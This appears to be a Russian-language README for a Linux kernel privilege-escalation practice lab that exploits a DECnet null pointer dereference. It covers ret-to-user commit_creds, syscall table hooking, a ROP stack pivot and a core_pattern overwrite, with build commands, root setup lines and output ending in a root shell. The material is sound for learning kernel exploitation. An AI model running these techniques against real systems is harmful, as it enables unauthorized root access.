
Практика LPE в ядре Linux с уязвимостью NPD
Практика различных техник эксплуатации ядра Linux с моей уязвимостью DECnet и включённым отображением нулевой страницы.
Всё отключено: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"
Выполнение кода перенаправляется на функцию output в пользовательском пространстве, которая вызывает commit_creds(prepare_kernel_cred(0)).
Перехват системных вызовов
Адрес обработчика системного вызова mkdir в sys_call_table заменяется функцией, похожей на ту, что в сценарии 1.
SMEP и KPTI включены: qemu-system-x86_64 -append "nosmap nokaslr"
Выполнение кода перенаправляется на подмену стека (stack pivot), которая устанавливает $rsp на цепочку ROP в нулевой странице.
Помощник пользовательского режима
Параметр sysctl core_pattern перезаписывается для указания команды, запускаемой с повышенными привилегиями при создании дампа ядра.
Затем программа прерывается сигналом SIGABRT для запуска скрипта пользовательского режима.
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie
Настройте DECnet от root:
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address
Запустите эксплойт от непривилегированного пользователя:
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#